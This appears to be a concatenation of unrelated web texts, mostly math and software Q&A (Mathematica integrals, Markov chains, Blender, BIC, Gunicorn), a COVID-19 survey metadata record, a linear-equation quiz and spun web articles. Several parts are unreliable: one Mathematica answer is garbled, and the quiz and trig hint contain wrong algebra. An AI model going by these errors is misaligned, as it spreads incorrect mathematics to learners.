I know Mathematica can find the roots of equation by using FindRoot[], and i tested it with a dispersion relation with out the integral and it works fine.

So, my problem/question is how can i solve that type of integral?

I tried just to test it with a simple Gaussian Gaussian := Exp[-(((v - V0)/VT)^2)/2]/(Sqrt[2*Pi]*VT)

NIntegrate[D[Gaussian, v]/(w/k - v), {v, -Infinity, Infinity}, PrincipalValue -> True]

and also

NIntegrate[D[Gaussian, v]/(w/k - v), {v, -Infinity, Infinity}]

but the first one says : NIntegrate: Singular points must be specified in the integration range in order to use PrincipalValue.,

and the second one says: NIntegrate: The integrand ... has evaluated to non-numerical values for all sampling points in the region with boundaries {{1.,0.}}.

How can i solve this type of integral and equation? Is there a better way than doing this?

Edit: Second Question: My final objective is to solve the dispersion relation, i found i can use FindRoot[Dispersion relation], but how can i do that? Is it possible numerically?

Thank you.

For NIntegrate all parameters must have numerical values.

Gaussian = Exp[-(((v - V0)/VT)^2)/2]/(Sqrt[2*Pi]*VT);

integrand[v_, V0_, VT_, k_, w_] = D[Gaussian, v]/(w/k - v) //   Simplify

(*   (E^(-((v - V0)^2/(2 VT^2))) k (v - V0))/(Sqrt[2 \[Pi]] VT^3 (k v - w))   *)

nint[V0_, VT_, k_, w_] :=
NIntegrate[integrand[v, V0, VT, k, w], {v, -Infinity, Infinity},
Method -> "PrincipalValue", Exclusions -> (k v - w) == 0]

nint[1, 2, 3, 4]

(*   0.24312   *)

• Oh shit, thanks Second Question: My final objective is to solve the dispersion relation, i found i can use FindRoot[Dispersion relation], but how can i do that?. I will edit the question to add this. Thanks – Gundro Mar 30 at 9:57

Have a look at Normaldistribution and central moment. Than take a look at statistical dispersion. Return to Mathematica documentation: descriptive statistics. They more often towards the reverse situation of given measurement values. This question is targeted towards a fundamental situation for example in plasmas with plane waves. There is not much interest in solving the equation. There is a historical discussion between Landau and Pavlov about the physicality of this dispersion. Pavlov did take a realistics position, Landau an antirealistic one with a preference for pedagogical reason.

There has been a general question group regarding this question. How to deal with complicated Gaussian integrals in Mathematica?.

Form there I took by chance a function for the calculation of this dispersion:

gaussMoment[fPre_, fExp_, vars_] :=
Module[{coeff, dist, ai, \[Mu], norm},
coeff = CoefficientArrays[fExp, vars, "Symmetric" -> True];
ai = Inverse[2 coeff[[3]]];
\[Mu] = -ai.coeff[[2]];
dist = MultinormalDistribution[\[Mu], -ai];
norm = 1/PDF[dist, vars] /. Thread[vars -> \[Mu]];
Simplify[
norm Exp[1/2 coeff[[2]].\[Mu] + coeff[[1]]] Distribute@
Expectation[fPre, vars \[Distributed] dist]]]

The moments from there as example for consistency:

RepeatedTiming[gaussMoment[(x^2 + x^4 + x^6), -(x - 1)^2, {x}]]

{0.0028, (223 Sqrt[\[Pi]])/8}

For this question:

RepeatedTiming[gaussMoment[((x - q)^(-1)), -(x - 1)^2, {x}]]

{10.2, Sqrt[\[Pi]]
Expectation[
1/(-q + x), {x} \[Distributed]
MultinormalDistribution[{1}, {{1/2}}]]}

This is very fast and safe. I think they probably took their formulas from Matlab. In Matlab, more application is in concern for such integrals. As stated earlier in other question this integration can be done nicely numerical for a general parametric solution.

With Your parameters in my suggested integration method:

D[Exp[-(((v - V0)/VT)^2)/2]/(Sqrt[2*Pi]*VT), v]

-((E^(-((v - V0)^2/(2 VT^2))) (v - V0))/(Sqrt[2 \[Pi]] VT^3))

RepeatedTiming[
gaussMoment[(((v - V0)/(w/k - v))), -(((v - V0)/VT)^2)/
2, {x}]]/(Sqrt[2 \[Pi]] VT^3)

The result is

{0.00054/VT^3, (E^(
1/2 (-((v - V0)^2/
VT^2) + {-((v - V0)^2/(2 VT^2))}[[
2]].(-Inverse[
2 {-((v - V0)^2/(2 VT^2))}[[3]]].{-((v - V0)^2/(
2 VT^2))}[[2]])))
Expectation[(k (-v + V0))/(
k v - w), {x} \[Distributed]
MultinormalDistribution[-Inverse[
2 {-((v - V0)^2/(2 VT^2))}[[3]]].{-((v - V0)^2/(2 VT^2))}[[
2]], -Inverse[2 {-((v - V0)^2/(2 VT^2))}[[3]]]]])/(Sqrt[
2 \[Pi]] VT^3 PDF[
MultinormalDistribution[-Inverse[
2 {-((v - V0)^2/(2 VT^2))}[[3]]].{-((v - V0)^2/(2 VT^2))}[[
2]], -Inverse[
2 {-((v - V0)^2/(2 VT^2))}[[3]]]], {-Inverse[
2 {-((v - V0)^2/(2 VT^2))}[[3]]].{-((v - V0)^2/(2 VT^2))}[[
2]]}])}


text:
# Proving a non-stopping time

Let $X_n$ be a Markov chain on the state space $\mathcal S$ and for $y \in \mathcal S$ let $T_y = \min\{ n \ge 1 : X_n =y\}$ be the first return time to $y$. Let $W_y = T_y - 1$ be the time just before the first return to $y$

• Explain why $W_y$ is not a stopping time

• Show that the Strong Markov Property does not apply to $X_n$ at random time $W_y$.

My Work

When showing that $W_y$ is not a stopping time, is it sufficient to write $$W_y = \bigcap_{i = 1}^{n-1} \{X_i \ne y\} \cap X_n = y$$ and claim that since $X_n$ does not belong to the set $\{X_0, X_1, \dots, X_{n-1}\}$, we have that $W_y$ is not a stopping time?

Then, for showing that the Strong Markov Property does not apply, can I write $$\mathbf{P}(X_n = y \mid W_y = n-1, X_{n-1} = i, X_{n-2} = x_{n-2}, \dots, X_0 = y) = 1 \ne p(i, y)$$ where $p(i,y)$ is the one step transition probability from $i$ to $y$?

-
What is your definition of a stopping time? – Nate Eldredge Sep 9 '12 at 13:56
For $\mathbf{X} = \{X_n : n \ge 0\}$ a stochastic process, a stopping time $T$ is a random time such that for each $n \ge 0$, the event $\{T = n\}$ is completely determined by (at most) the total information known up to time n, $\{X_0, \dots, X_n\}$. I know how to informally state that $W_y$ is not a stopping time (because it depends on a time $X_n \notin \{X_0, \dots, X_{n-1}\}$ but I'm not sure how to formally prove/state this. – Moderat Sep 9 '12 at 16:15


text:
# Remeshing part of a mesh

As in the following figure if you combine a cylinder with a cube you will find the meshing is something like as in the left; we would like however to have it as in the right.
(at least in the render window when we use a wireframe material for the above.)

How to make something like that?

note: Face beautifier didn't work.

• There's no straight-enough solution for this. I personally suggest you have the cube triangulated / subdivided BEFORE combining them together. (e.g. combining by Boolean Modifier) – Leon Cheung Dec 19 '13 at 5:55
• Note, theres an opensource tool called meshlab which has a lot of advanced operations like this. Its possible these could be integrated into Blender, but you could export models to it. – ideasman42 Dec 19 '13 at 18:00
• @ideasman42 Nice point. You just reminded us to use resting meshlab on our system. We will try. – Developer Dec 20 '13 at 1:11
• @ideasman42 mehlab does not help as whatever we choose from menus (simplifying, remeshing etc) the highlighted (yellow) lines remain unchanged! If you could we would suggest you to put your idea as another full answer, probably with some snapshots. – Developer Dec 20 '13 at 5:09

While having the magic one button solution is enticing the old manual approach can give more control using basic modelling techniques.

Start by removing the unwanted edges.

See how many vertices you need - you can optionally add corner edges to clarify the targets. In this example I need to add three more vertices to each edge.

Use CtrlR to add more edge loops - use the mouse scroll wheel or + and - on the numpad to change the number of cuts being added.

Select all the vertices in two edge loops to be filled in.

Choose Grid Fill (2.69 or higher) - this is available in File->Faces->Grid Fill or search after pressing space.

For versions before 2.69 you can use Bridge Edge Loops - File->Edges->Bridge Edge Loops or search after pressing space. This is still available in 2.69. You may find this works better in edge select mode without any corner connecting edges being selected, while grid fill works better if you have the corner edges in place.

The grid fill initially uses the order the vertices are selected to fill in the faces, if you initially get a strange fill you may want to press F6 (also available at the bottom of the toolbar T) to adjust the Offset until it fills in nicely.

You can also adjust how the bridge edge loops works

Repeat for each side. This gives you a nice final topology

You can also adjust this along the way by adding lop cuts between the two edges. The bridge edges has the option to do this for you and the grid fill will join these edges when you fill in the last two sides.

If you want the same result on the opposite side, if both are the same, you can select the top vertices and duplicate them, move to the opposite side using snap to vertex to align them and remove doubles to join together.

• Note on these instructions (grid fill), theres an area for a step to remove: Notice there is a white vertex. Before running grid fill -- select a corner vertex last, Then grid fill will know to treat this as a corner vertex and it attempts calculate the best square fill to perform without having to adjust settings. – ideasman42 Dec 19 '13 at 17:56
• Accepted, because it is an interesting solution, indeed. More interesting is your effort with passion on finding a working solution which is appreciated. – Developer Dec 20 '13 at 1:09
• @ideasman42 - a good tip to know but while I could take out adjusting the gridfill options, if someone just uses box select and gets a bad fill they just think it is useless. I think it helps to show ways to fix odd fills and highlight that you can adjust things not just accept defaults. Remembering or noticing which vertex is active or needs to be active is something that can easily be skipped. – sambler Dec 20 '13 at 3:20

You may try adding a remesh modifier to the object.

In the properties view click the tool icon for the modifiers panel.

# With Remesh

• Good tool. However we couldn't apply Remesh modifier to selected faces. It seems it can be applied on a whole object for which the result is very acceptable as in your example. You got our up-vote for this. – Developer Dec 21 '13 at 3:58

What might work is entering sculpt mode, box mask the central cylinder (available in trunk builds) from the top view and then enable dyntopo and stroke on the top surface with a standard draw brush with zero strength.


text:
Working paper Open Access

# Living through Lockdown: Social Inequalities and Transformations during the COVID-19 Crisis in France

Recchi, Ettore; Ferragina, Emanuele; Godechot, Olivier; Helmeid, Emily; Pauly, Stephan; Safi, Mirna; Sauger, Nicolas; Schradie, Jen; Tittel, Katharina; Zola, Andrew

### DCAT Export

<?xml version='1.0' encoding='utf-8'?>
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<rdf:type rdf:resource="http://www.w3.org/ns/dcat#Dataset"/>
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<dct:identifier rdf:datatype="http://www.w3.org/2001/XMLSchema#anyURI">https://doi.org/10.5281/zenodo.3978023</dct:identifier>
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<rdf:Description>
<rdf:type rdf:resource="http://xmlns.com/foaf/0.1/Agent"/>
<foaf:name>Helmeid, Emily</foaf:name>
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<dcat:keyword>France</dcat:keyword>
<dcat:keyword>COVID-19</dcat:keyword>
<dcat:keyword>Lockdown</dcat:keyword>
<dcat:keyword>Gender inequality</dcat:keyword>
<dcat:keyword>Social inequalities</dcat:keyword>
<dct:issued rdf:datatype="http://www.w3.org/2001/XMLSchema#date">2020-07-31</dct:issued>
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This working paper offers an overview of the first stage of the Coping with Covid (CoCo) project, which tracks the behaviors and attitudes of a representative panel of the French metropolitan population during the COVID-19 lockdown. We conducted five survey waves and administered daily journals of open-ended responses between April and June 2020 among a sample of 1,216 people from a pre-existing panel (ELIPSS). Earlier surveys of this sample allowed us to better contextualize changes that may have occurred during this unusual period.

We outline four experiential dimensions during the lockdown period: relation to work, everyday activities and time use, self-assessed health and well-being, and the framing of the pandemic crisis. What we found follows traditional inequality patterns and also reveals some unexpected changes in social practices and attitudes.
 &nbsp;
 Working (or not): Different Places, Different Fates (Chapter 2)
 The transformation of work was unprecedented: in the first two weeks of the lockdown, only 58 percent of workers held on to their jobs, while the other 42 percent were either furloughed or put on leave. The share of working people increased progressively thereafter.
 ●&nbsp; Of those who continued working, half did so entirely from home and half stuck to their usual workplace.
 ●&nbsp; Upper and upper-middle class workers and above-median earners massively commuted to working from home, while lower and lower-middle classes, as long as they could continue to work, did so at the usual workplace.
 ●&nbsp; Working at one&rsquo;s usual workplace was correlated with exposure to a sensibly higher risk of infection by the virus over time.
 ●&nbsp; In contrast to working at the usual workplace, working from home shields against wage drops and COVID-19 infection. However, it closely intertwines domestic and professional work, which may be a source of tensions, notably for home-working women with young children in dual-earning couples.
 &nbsp;
 Staying Put: Home and Close to It (Chapter 3)
 The organization of everyday life changed dramatically in the context of restricted freedom of movement.
 ●&nbsp; Two weeks into the lockdown, almost 60 percent of individuals in our sample said they had stepped out of their home no more than once a week, although this proportion slowly declined.
 ● Nearly half of all women in the panel reported that they were doing more housework than before the lockdown, compared to only 29 percent of men.
 ●&nbsp; Women spent dramatically more time than men supervising their children&rsquo;s schoolwork.
 ●&nbsp; People living with kids and in cramped spaces were significantly more likely to experience family tensions.
 ●&nbsp; People with higher income were much more likely to have more computers/devices and a stable Internet connection, which were vital for working, schooling, shopping, and socializing.
 &nbsp;
 Feeling: Health and Well-Being (Chapter 4)
 The evolution of the pandemic across our panel showed changes in individuals&rsquo; health conditions and well-being.
 ● The proportion of the population claiming to have contracted COVID-19 increased from 7 percent in early April to 9 percent in late May-early June.
 ● Apart from the direct impact of the virus on physical health, we found that the majority of individuals were not psychologically dejected by the unprecedented situation but actually felt better than beforehand.
 ● However, the subjective well-being of women, the most financially vulnerable, people living alone, and the unemployed lagged significantly behind the average.

Framing: A Health or Economic Crisis? (Chapter 5)
 The framing of the COVID-19 crisis, as either health or economic in nature, varied across social groups and over time.
 ● At the beginning of the lockdown, health concerns were stronger but swung to economic concerns over time.
 ● Women and elderly people tended to always place a stronger emphasis on health while the unemployed and wealthier focused on the economic impact of the crisis.
 ● In an experiment with respondents, the malleability of opinions on the tradeoff between economic and health concerns reveals the uncertainty created by contradictory information and untested policy options.
 &nbsp;
 We found two major changes related to the lockdown. On the one hand, everyday work practices and locations were either interrupted or transformed. As working online gained traction among the upper-middle class, it created a new divide with people from other social groups who either continued to commute to their usual (and riskier) workplaces or were suddenly furloughed. On the other hand, we recorded a subjective change in well-being that was surprisingly higher than before the pandemic for most people but lagged behind for the less privileged.

Overall, the crisis did not consign everyone to the same situation, as pre-existing inequalities persisted; in particular, women, the financially vulnerable, and the unemployed seemed to suffer the most on many levels, objectively and subjectively. Other groups who are by default under-represented in a general population survey like ours&mdash;immigrants, residents of the poorest neighborhoods, the homeless, people living in retirement homes, and those without Internet access&mdash;were also potentially more exposed to the multifaceted risks and costs entailed by the pandemic and the lockdown than average French residents.

&nbsp;
</dct:description>
<dct:description>The project ''CoCo - Coping with Covid-19. Social distancing, cohesion and inequality in 2020 France'' is funded by ANR (French National Research Agency), Call Flash Covid-19.</dct:description>
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text:
# What is the BIC prior for Bayesian linear regression?

Is there a prior probability distribution associated with BIC (Bayesian Information Criterion)?

I ask this because in the R package BAS there is a linear modeling function that can be called as follows:

bas.lm(y ~ x, data = my_dataframe, prior = 'BIC')

and the documentation is not clear on how the priors are set given the 'BIC' argument.

The posterior distributions come out to be normal looking (student-T actually I think). They could for example look something like this:

In summary, I am wondering what prior distributions are being used for the parameters?

• The BIC is only Bayesian in denomination, as it does not use a prior distribution. The asymptotic expansion of the Bayes factor is such that the impact of the prior distribution is only second-order and BIC stops at this order. – Xi'an Sep 10 '16 at 9:36

We can obtain a large sample normal approximation to the log-likelihood $l(\theta|y)$ in the multiparameter case. A multivariate Taylor expansion gives \begin{eqnarray} l(\theta|y)&\approx&l(\hat\theta|y)+(\theta-\hat\theta)'\frac{\partial l(\hat\theta|y)}{\partial\theta}-\frac{n}{2}(\theta-\hat\theta)'V^{-1}(\theta-\hat\theta)\notag\\ &=& l(\hat\theta|y)-\frac{n}{2}(\theta-\hat\theta)'V^{-1}(\theta-\hat\theta) \end{eqnarray} where $$V=\left(-\frac{1}{n}\sum_j\frac{\partial^2 l(\hat\theta|y_j)}{\partial\theta\partial\theta'}\right)^{-1}=\left(-\frac{1}{n}\frac{\partial^2 l(\hat\theta|y)}{\partial\theta\partial\theta'}\right)^{-1}$$ Let $$m_i(y)=\int f_{i}\left(y|\theta_{i},M_i\right)\pi_{i}\left(\theta_{i}|M_i\right)d\theta_{i}$$
Substituting the exponential of the approximate expression for $l(\theta|y)$ gives \begin{eqnarray*} m_i(y)&\approx&L(\hat\theta_i|y)\int\exp\left(-\frac{n}{2}(\theta_i-\hat\theta_i)'V_i^{-1}(\theta_i-\hat\theta_i)\right)\pi_i(\theta_i|M_i)d\theta_i\\ &\approx&L(\hat\theta_i|y)\pi_i(\hat\theta_i|M_i)\int\exp\left(-\frac{n}{2}(\theta_i-\hat\theta_i)'V_i^{-1}(\theta_i-\hat\theta_i)\right)d\theta_i, \end{eqnarray*} where the second approximation arises because the $\exp$ part dominates around $\hat\theta_i$ (look for Laplace approximation to get a rigorous argument here).
As the integrand now is a kernel of a multivariate normal distribution with covariance matrix $V_i/n$, carrying out the integration gives \begin{eqnarray*} m_i(y)&\approx&L(\hat\theta_i|y)\pi_i(\hat\theta_i|M_i)(2\pi)^{d_i/2}|n^{-1}V_i|^{1/2}\\ &=&L(\hat\theta_i|y)\pi_i(\hat\theta_i|M_i)(2\pi)^{d_i/2}n^{-d_i/2}|V_i|^{1/2}, \end{eqnarray*} where $d_i$ is the number of parameters in $\theta_i$.
The log-Bayes factor for models 1 and 2 can now be approximated by \begin{eqnarray*} \log(B_{12})&\approx&\left[\log\left(\frac{L_1(\hat\theta_1|y)}{L_2(\hat\theta_2|y)}\right)-\frac{d_1-d_2}{2}\log(n)\right]\\ &&+\left[\log\left(\frac{\pi_1(\hat\theta_1|M_1)}{\pi_2(\hat\theta_2|M_2)}\right)+\frac{1}{2}\log\frac{|V_1|}{|V_2|}+\frac{d_1-d_2}{2}\log(2\pi)\right] \end{eqnarray*} The second squared brackets can be neglected for large $n$. The first term is the log-likelihood ratio, which is large if the data favors $M_1$. The second term penalizes larger models.


text:
WSGI HTTP Server for UNIX

## Project description

Gunicorn ‘Green Unicorn’ is a Python WSGI HTTP Server for UNIX. It’s a pre-fork worker model ported from Ruby’s Unicorn project. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resource usage, and fairly speedy.

## Installation

Gunicorn requires Python 2.x >= 2.5. Python 3.x support is planned.

Install from sources:

$python setup.py install Or from Pypi: $ easy_install -U gunicorn

You may also want to install Eventlet or Gevent if you expect that your application code may need to pause for extended periods of time during request processing. Check out the FAQ for more information on when you’ll want to consider one of the alternate worker types.

To install eventlet:

$easy_install -U eventlet If you encounter errors when compiling the extensions for Eventlet or Gevent you most likely need to install a newer version of libev. ## Basic Usage After installing Gunicorn you will have access to three command line scripts that can be used for serving the various supported web frameworks: gunicorn, gunicorn_django, and gunicorn_paster. ### Commonly Used Arguments • -c CONFIG, --config=CONFIG - Specify the path to a config file • -b BIND, --bind=BIND - Specify a server socket to bind. Server sockets can be any of$(HOST), $(HOST):$(PORT), or unix:$(PATH). An IP is a valid$(HOST).

• -w WORKERS, --workers=WORKERS - The number of worker processes. This number should generally be between 2-4 workers per core in the server. Check the FAQ for ideas on tuning this parameter.

• -k WORKERCLASS, --worker-class=WORKERCLASS - The type of worker process to run. You’ll definitely want to read the production page for the implications of this parameter. You can set this to egg:gunicorn#$(NAME) where$(NAME) is one of sync, eventlet, gevent, or tornado. sync is the default.

• -n APP_NAME, --name=APP_NAME - If setproctitle is installed you can adjust the name of Gunicorn process as they appear in the process system table (which affects tools like ps and top).

There are various other parameters that affect user privileges, logging, etc. You can see the complete list with the expected:

$gunicorn -h ### gunicorn The first and most basic script is used to server ‘bare’ WSGI applications that don’t require a translation layer. Basic usage: $ gunicorn [OPTIONS] APP_MODULE

Where APP_MODULE is of the pattern $(MODULE_NAME):$(VARIABLE_NAME). The module name can be a full dotted path. The variable name refers to a WSGI callable that should be found in the specified module.

Example with test app:

$cd examples$ gunicorn --workers=2 test:app

### gunicorn_django

You might not have guessed it, but this script is used to server Django applications. Basic usage:

$gunicorn_django [OPTIONS] [SETTINGS_PATH] By default SETTINGS_PATH will look for settings.py in the current directory. Example with your Django project: $ cd path/to/yourdjangoproject
$gunicorn_django --workers=2 Alternatively, you can install some Gunicorn magic directly into your Django project and use the provided command for running the server. First you’ll need to add gunicorn to your INSTALLED_APPS in the settings file: INSTALLED_APPS = ( ... "gunicorn", ) Then you can run: python manage.py run_gunicorn ### gunicorn_paster Yeah, for Paster-compatible frameworks (Pylons, TurboGears 2, …). We apologize for the lack of script name creativity. And some usage: $ gunicorn_paster [OPTIONS] paste_config.ini

Simple example:

$cd yourpasteproject$ gunicorn_paste --workers=2 development.ini

If you’re wanting to keep on keeping on with the usual paster serve command, you can specify the Gunicorn server settings in your configuration file:

[server:main]
use = egg:gunicorn#main
host = 127.0.0.1
port = 5000

And then as per usual:

$cd yourpasteproject$ paster serve development.ini workers=2

Gunicorn is released under the MIT License. See the LICENSE file for more details.

## Project details

Uploaded source


text:
# property timer value

Coming back to this thread: countdown timer

I want to check the time property and set a new scene when it reaches 0.

What should I put in the Value box of a Property-equal sensor to check for when the timer reaches 0? I tried 0, 00:00, some other formats although I think I can't really put expressions there and none of them worked.

Maybe this textObject.text = '{:%M:%S}'.format(time) is something that I can't play with in the Value box of the Property and I need to go through python, but I wonder if there is a simple logic brick solution.

These are the logic bricks.

As the timer property provides a float value, you need to check if the value is "equal or above zero". Since Blender 2.74 the property sensor has according modes. If you use an older version, you can use the interval mode

The value to check against is -> 0 or 0.0 it does not matter which one.

• I edited the question and added an image. It does not work with either 0 or 0.0 . What could I be doing wrong? – Lev Oct 20 '15 at 20:26
• Sorry, I was not clear in my statement. It should be "zero or above" (both conditions needs to be checked at the same time) – Monster Oct 21 '15 at 3:55

I found what was wrong after I printed the property.

The values of the property are float with tons of decimals, meaning it could end up to be 0.00000000002 and never reach 0.

So you can either round the number but it would round it when it gets near -0.5.

So I just changed the equal-property to be a greater-than-property and set its value to be -0.1.

So now since it is a countdown timer, when the timer reaches second 1 it sets my new scene.


text:
# Trig Help Algebraic Expression

• Mar 28th 2009, 02:35 PM
Trig Help Algebraic Expression
I need help with this trig expression writing it as an algebraic expression:

sin(arcsin x + arcos x)
• Mar 28th 2009, 03:09 PM
mr fantastic
Quote:

Let $\alpha = \arcsin x \Rightarrow \sin \alpha = x$ and $\beta = \arccos x \Rightarrow \sin \beta = x$ and note that $\sin (\alpha + \beta) = \sin \alpha \cos \beta + \sin \beta \cos \alpha$.


text:
I recommend using Probabilistic Hough Transform - void HoughLinesP(InputArray image, OutputArray lines, double rho, double theta, int threshold, double minLineLength=0, double maxLineGap=0 )
vector<Vec2f> lines;

Now, lines contains the end points of the line segments detected by the Probabilistic Hough transform. If you want to know the length of the line segment (in pixels), you can calculate the distance between its end points.


text:
# Mathematics Questions and Answers – Reduce the Linear Equation and Find the Value of the Variable

«
»

This set of Mathematics Multiple Choice Questions & Answers (MCQs) focuses on “Reduce the Linear Equation and Find the Value of the Variable”.

1. Solve: $$\frac{2x-11}{2} + \frac{x}{7}$$ = 5.
a) x = $$\frac{147}{16}$$
b) x = $$\frac{16}{147}$$
c) x = $$\frac{14}{167}$$
d) x = $$\frac{167}{14}$$

Explanation: $$\frac{2x-11}{2} + \frac{x}{7}$$ = 5
∴$$\frac{7*(2x-11)}{7*2} + \frac{2*x}{2*7}$$ = 5
∴$$\frac{14x-77+2x}{14}$$ = 5
∴16x – 77 = 5 * 14
∴16x – 77 = 70
∴16x = 147
∴x = $$\frac{147}{16}$$.

2. Solve: $$\frac{x}{5} + \frac{x}{7} = \frac{1}{35}$$.
a) $$\frac{1}{6}$$
b) $$\frac{1}{8}$$
c) $$\frac{1}{12}$$
d) $$\frac{1}{10}$$

Explanation: $$\frac{x}{5} + \frac{x}{7} = \frac{1}{35}$$
∴$$\frac{7*x+5*x}{5*7} = \frac{1}{35}$$
∴$$\frac{7x + 5x}{35} = \frac{1}{35}$$
∴$$\frac{12x}{35} = \frac{1}{35}$$
∴12x = 1
∴x = $$\frac{1}{12}$$.

3. Solve: 3(x – 3) = 5(x + 2).
a) $$\frac{-1}{2}$$
b) $$\frac{1}{2}$$
c) 2
d) -2

Explanation: 3(x – 3) = 5(x + 2)
∴3x – 9 = 5x + 10
∴3x – 5x = 10 – 9
∴-2x = 1
∴x = $$\frac{-1}{2}$$.
Sanfoundry Certification Contest of the Month is Live. 100+ Subjects. Participate Now!

4. Solve: $$\frac{m-1}{2} + \frac{2m+3}{3}$$ = 2.
a) $$\frac{2}{3}$$
b) $$\frac{3}{2}$$
c) 3
d) 2

Explanation: $$\frac{m-1}{2} + \frac{2m+3}{3}$$ = 2
∴$$\frac{3*(m-1)}{3*2} + \frac{3*(2m+3)}{2*3}$$ = 2
∴$$\frac{3m-3+6m+9}{6}$$ = 2
∴$$\frac{9m+6}{6}$$ = 2
∴9m + 6 = 12
∴9m = 6
∴m = $$\frac{2}{3}$$.

5. Solve: 12x – 3 = 9.
a) 1
b) -1
c) 12
d) -12

Explanation: 12x – 3 = 9
∴12x = 12
∴x = 1.

6. Solve: $$\frac{2v-3}{2} + \frac{3v}{4}$$ = 12.
a) $$\frac{14}{108}$$
b) $$\frac{108}{14}$$
c) $$\frac{59}{7}$$
d) $$\frac{7}{59}$$

Explanation: $$\frac{2v-3}{2} + \frac{3v}{4}$$ = 12
∴$$\frac{4*(2v-3)}{4*2} + \frac{2*3v}{4*2}$$ = 12
∴$$\frac{8v-12+6v}{8}$$ = 12
∴8v – 12 + 6v = 12 * 8
∴14v – 12 = 96
∴14v = 108
∴v = $$\frac{108}{14} = \frac{59}{7}$$.

7. Solve: 0.25(12t – 4) = 1.
a) $$\frac{2}{3}$$
b) $$\frac{3}{2}$$
c) $$\frac{12}{11}$$
d) $$\frac{11}{12}$$

Explanation: 0.25(12t – 4) = 1
∴3t – 1 = 1
∴3t = 2
∴t = $$\frac{2}{3}$$.

8. Solve: 2y – 2 = 7y + 1.
a) $$\frac{-3}{5}$$
b) $$\frac{-5}{3}$$
c) $$\frac{2}{3}$$
d) $$\frac{3}{2}$$

Explanation: 2y – 2 = 7y + 1
∴2y – 7y = 1 + 2
∴-5y = 3
∴y = $$\frac{-3}{5}$$.

9. Solve: 3n – 13 = 13n + 31.
a) $$\frac{22}{5}$$
b) $$\frac{-22}{5}$$
c) $$\frac{-44}{10}$$
d) $$\frac{44}{10}$$

Explanation: 3n – 13 = 13n +31
∴3n – 13n = 31 + 13
∴-10n = 44
∴n = $$\frac{-44}{10} = \frac{-22}{5}$$.

10. Solve: 2x – 3 = 0.
a) $$\frac{3}{2}$$
b) $$\frac{2}{3}$$
c) $$\frac{3}{5}$$
d) $$\frac{5}{3}$$

Explanation: 2x – 3 = 0
∴2x = 3
∴x = $$\frac{3}{2}$$.

11. Solve: $$\frac{14y-12}{12y-14} = \frac{1}{2}$$
a) $$\frac{10}{16}$$
b) $$\frac{8}{5}$$
c) $$\frac{5}{8}$$
d) $$\frac{16}{10}$$

Explanation: $$\frac{14y-12}{12y-14} = \frac{1}{2}$$
∴2 * (14y – 12) = 1 * (12y – 14)
∴28y – 24 = 12y – 14
∴28y – 12y = -14 + 24
∴16y = 10
∴y = $$\frac{10}{16} = \frac{5}{8}$$.

Sanfoundry Global Education & Learning Series – Mathematics – Class 8.

To practice all areas of Mathematics, here is complete set of 1000+ Multiple Choice Questions and Answers.


text:
# Natural Numbers under Addition do not form Group

## Theorem

The algebraic structure $\struct {\N, +}$ consisting of the set of natural numbers $\N$ under addition $+$ is not a group.

### Corollary

The algebraic structure $\struct {\Z_{\ge 0}, +}$ consisting of the set of non-negative integers $\Z_{\ge 0}$ under addition $+$ does not form a subgroup of the additive group of integers.

## Proof

From Natural Numbers under Addition form Commutative Monoid, $\struct {\N, +}$ has an identity element $0$.

However, for any $x \in \N$ such that $x \ne 0$ there exists no $y \in \N$ such that $x + y = 0$.

Thus the general element of $\struct {\N, +}$ has no inverse.

Hence the result by definition of group.

$\blacksquare$


text:
Nuclear Physics B, ( ISI ), Year (2007-3)

#### Title : excited D-brane decay in cubic string ( Non-abelian expansion of S-matrix elements and non-abelian tachyon DBI action )

Authors: - - , Mohammad Reza Garousi ,

Access to full-text not allowed by authors

Citation: BibTeX | EndNote

We apply the prescription proposed in hep-th/0307197 for non-abelian expansion of S-matrix elements, to the S-matrix element of four tachyons and one gauge field in superstring theory. We show that the leading order terms of the expansion are in perfect agreement with the non-abelian generalization of the tachyon DBI action in which the tachyon potential is $V(T)=1+\\pi\\alpha\' m^2T^2+\\frac{1}{2!}(\\pi\\alpha\' m^2T^2)^2+...$ where $m^2=-1/(2\\alpha\')$ is the mass of tachyon. This calculation fixes the coefficient of $T^4$ in the potential without on-shell ambiguity.

#### Keywords

, Non, abelian tachyon
برای دانلود از شناسه و رمز عبور پرتال پویا استفاده کنید.

@article{paperid:202069,
author = { -, - and Garousi, Mohammad Reza},
title = {excited D-brane decay in cubic string},
journal = {Nuclear Physics B},
year = {2007},
month = {March},
issn = {0550-3213},
keywords = {Non-abelian tachyon action},
}

[Download]

%0 Journal Article
%T excited D-brane decay in cubic string
%A -, -
%A Garousi, Mohammad Reza
%J Nuclear Physics B
%@ 0550-3213
%D 2007

[Download]


text:
## Website Design – Should I Use Left Alignment or Centering in Webdesign?

There is nothing bad in itself for a centered alignment, you just
know how to properly assign one if you want to implement it
with any amount of success.

The first thing you need to learn is when not to implement a centered
alignment. The answer here is pretty simple: when you have a lot of
content.

It is very important in any design to analyze your goals. If a
the high degree of readability is one of them and he should often
to be, then the aesthetic appeal is often completely separate or even
directly in contradiction with this objective. The trick is to find the balance
between the two.

One of the first places where you can start thinking about setting up a
Fully centered layout is when you have very little content.

Make sure that if your entire layout is built on a center
alignment, you have a very simple design with only a few elements. Once
you start adding big blocks of text and a lot of images, the centered
alignments begin to appear messy. Also, try to build a solid left,
justified or even correct alignment for your page as a whole, then
experiment with selectively depositing in alignments centered in the key
areas such as titles. Finally, like a quick trick when you're in a
jam, try to pack portions aligned in the center in a box that goes with
flow from the rest of the page.

## who is the worst of the liberal left or the conservative right?

The Conservatives, and I, a Conservative, say it.

Before 2016, my answer would certainly have been the Liberals. However, in 2016, the Conservatives began to support Trump (few supported it in 2015). Trump is a vile and disgusting human who does not care about America or Americans. He steals money, insults everyone, constantly lies, reveals military secrets, does everything for him, worries if working Americans are not paid, and so on. Yet the Conservatives still support this point of sale.

Before 2016, if someone had described Trump without going into the details of his policy, I would have said, "He is really a liberal. NO conservative would ever be such a shame for the human race. No conservative will support this vile man!
I was extremely shocked when people of my political ideology voted for him.

To all Liberals reading this, I am sorry to have misrepresented you three years ago.

.

## Integration of int ^ {1} _ {- 1} frac {1} {3} sinh ^ {- 1} left ( frac {3 sqrt 3} {2} (1-t ^ 2) right) dt

Recently I came across (in this regard.
$$href {https://math.stackexchange.com/questions/983830/closed-form-of-int-0-pi-frac-sinx-sqrtx3x1-dx/3050507#3050507} {post}$$ from the hyperbolic solution to the cubic equation for a real root given by,
